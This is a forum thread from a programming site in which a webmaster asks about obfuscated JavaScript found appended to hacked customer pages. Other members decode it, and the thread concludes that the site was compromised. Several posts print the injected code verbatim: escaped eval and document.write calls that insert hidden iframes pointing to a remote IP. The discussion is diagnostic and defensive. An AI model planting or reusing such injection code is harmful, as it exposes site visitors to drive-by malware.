Explain some javascript code

4,059 Recognized Expert Specialist

I found this javascript code appended to the end of an index.html page on a website that I manage for a customer, I did not put it there when I uploaded the page to the hosting services server. Can anyone give my a heads up on what it does? It was appended to the very bottom of the html document after the closing html tag:

Expand|Select|Wrap|Line Numbers

 </html>

<script language="javascript"> document.write( unescape( '%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%32%39%2E%32%34%31%2E%37%30%2F%6E%65%77%2F%63%6F%75%6E%74%65%72%2E%70%68%70%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E' ) ); </script>

<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%37%38%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%38%31%2e%32%39%2e%32%34%31%2e%37%30%2f%6e%65%77%2f%63%6f%75%6e%74%65%72%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%38%37%38%30%39%29%2b%27%62%34%31%36%63%32%33%5c%27%20%77%69%64%74%68%3d%36%34%31%20%68%65%69%67%68%74%3d%34%34%39%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>

Thanks in advance.

Feb 8 '08 #1

Subscribe Reply

1528

KevinADC

4,059

Recognized Expert Specialist

I think maybe my browser is adding this javascript, I use Mozilla FireFox 2.0.0.9 with Adblock Plus installed. But if anyone has any insight I would appreciate it.

Feb 8 '08 #2

mrhoo

428

Contributor

It's a hidden iframe that (apparently) hosts a hit-counter script on your page.
Maybe it is paid advertising- it is an old script.
check out the whosis for http:// 81.29.241.70

<script language="javascript">
<iframe src= http:// 81.29.241.70/new/counter. php frameborder="0" width="1"
height="1" scrolling="no" name=counter></iframe>
window.status='Done';
</script>
<script>
eval(document.write('<iframe name=78 src=\'http://81.29.241.70/new/counter.php?'+
'Math.round(Math.random()*287809)+'b416c23\' width=641 height=449 style=\'display: none\'>
</iframe>')

Feb 9 '08 #3

KevinADC

4,059

Recognized Expert Specialist

whois reports no matches for that IP address. I have never used any ads or hit counters on the website or that webpage. The javascript was not there when the file was uploaded several months ago. I see something similar appended to another page on the same site:

Expand|Select|Wrap|Line Numbers

 <html>

<head>

<title>Beas Party Ponies Image Gallery</title>

<link rel="shortcut icon" href="../favicon.ico" >

</head>

<frameset rows="*" name="main" framespacing="0" border="0">

    <frame src="content.shtml" name="display" scrolling="yes" frameborder="no" name="display" marginwidth="0" marginheight="0">

</frameset>

</html><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%38%65%38%31%38%36%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%38%31%2e%32%39%2e%32%34%31%2e%37%30%2f%6e%65%77%2f%63%6f%75%6e%74%65%72%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%37%34%38%38%30%29%2b%27%30%39%37%30%34%30%36%66%64%36%30%5c%27%20%77%69%64%74%68%3d%34%38%30%20%68%65%69%67%68%74%3d%31%35%36%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>

Feb 9 '08 #4

KevinADC

4,059

Recognized Expert Specialist

google is reporting pages with that script as malware that may harm your computer.

Feb 9 '08 #5

acoder

16,027

Recognized Expert Moderator MVP

I see something similar appended to another page on the same site:

This one is similar:

Expand|Select|Wrap|Line Numbers

 window.status='Done';document.write('<iframe name=8e8186 src=\'http://81.29.241.70/new/counter.php?'+Math.round(Math.random()*74880)+'0970406fd60\' width=480 height=156 style=\'display: none\'></iframe>')
 

To find this for yourself, use two textareas - one for the input of the escaped text and the other for the output. Then unescape the value of the input using unescape() or you could use something like this.

I think you should ask your host why this script has been added.

Feb 9 '08 #6

KevinADC

4,059

Recognized Expert Specialist

This one is similar:

Expand|Select|Wrap|Line Numbers

window.status='Done';document.write('<iframe name=8e8186 src=\'http://81.29.241.70/new/counter.php?'+Math.round(Math.random()*74880)+'0970406fd60\' width=480 height=156 style=\'display: none\'></iframe>')

To find this for yourself, use two textareas - one for the input of the escaped text and the other for the output. Then unescape the value of the input using unescape() or you could use something like this.

I think you should ask your host why this script has been added.

I have contacted the host. They are investigating because it appears the site was hacked and this code was added to index.xxx pages and a few other pages.

Thanks.

Feb 9 '08 #7

acoder

16,027

Recognized Expert Moderator MVP

I have contacted the host. They are investigating because it appears the site was hacked and this code was added to index.xxx pages and a few other pages.

Thanks.

That should explain it. At least you seem to have got to the bottom of it.

Feb 9 '08 #8

by: Iver Erling Årva | last post by:

I have an application that uses a window.open() to open it's own main window where all my programs takes place. I use a timeout so if nothing goes on for 15 minutes the document below is called. To...

Javascript

explain what this means

by: windandwaves | last post by:

Hi Folk I found the following function somewhere on the web. I am not sure how it works, but I am sure that it is very useful: function getObj(name) { if (document.getElementById){...

Javascript

PLEASE explain xmlDocument on server, but the html transform on client???

by: KathyB | last post by:

If someone could just explain this to me...I just don't get it! I have an aspx page where I retrieve several session variables and use xmlDocument to transform xml file with xsl file into an...

.NET Framework

Can someone please explain this code?

by: amerar | last post by:

Hi All, I'm not good at Javascript, so I am trying to understand this small bit of code: var groups=document.$fm.category.options.length; var group=new Array(groups); for (i=0; i<groups;...

Javascript

118

Python vs. Lisp -- please explain

by: 63q2o4i02 | last post by:

Hi, I've been thinking about Python vs. Lisp. I've been learning Python the past few months and like it very much. A few years ago I had an AI class where we had to use Lisp, and I absolutely...

Python

Advanced javascript - can anyone explain this intricacy?

by: Faisal Vali | last post by:

Hi - I'm new to javascript and I was reading the book Javascript Professional Projects - there is a fragment that has me a little perplexed, and I was wondering if anyone could explain why and how...

Javascript

Can anybody explain this code pls?

by: roohbir | last post by:

I was going through this code from Negrino's JavaScript for the WWW book. I have 2 questions: 1. Why has the author used validForm(passForm)? I mean what is 'passForm' in the function? 2. And its...

Javascript

Please explain what I'm doing wrong...

by: SirG | last post by:

I'm looking for an explanation of why one piece of code works and another does not. I have to warn you that this is the first piece of Javascript I've ever written, so if there is a better way or a...

Javascript

Please explain difference in ways to construct a javascript editor

by: dennis.sprengers | last post by:

I've compared some open-source javascript editors, and found different techniques for constructing the code. Two examples: CodePress.run = function() { new CodePress(t); } CodePress =...

Javascript

Is that possible of reading the .csv file in column wise and the column have different lengths ?

by: Sonnysonu | last post by:

This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...

C / C++

How to build RAID in BIOS?

by: Hystou | last post by:

There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...

Computer Hardware

Problem With Comparison Operator <=> in G++

by: Oralloy | last post by:

Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...

C / C++

The easy way to turn off automatic updates for Windows 10/11

by: Hystou | last post by:

Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...

Windows Server

AI Job Threat for Devs

by: agi2029 | last post by:

Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing,...

Career Advice

Access Europe - Using VBA to create a class based on a table - Wed 1 May

by: isladogs | last post by:

The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new...

Microsoft Access / VBA

Couldn’t get equations in html when convert word .docx file to html file in C#.

by: conductexam | last post by:

I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and...

C# / C Sharp

Windows Forms - .Net 8.0

by: adsilva | last post by:

A Windows Forms form does not have the event Unload, like VB6. What one acts like?

Visual Basic .NET

transfer the data from one system to another through ip address

by: 6302768590 | last post by:

Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated ...

C# / C Sharp

Explain some javascript code

Similar topics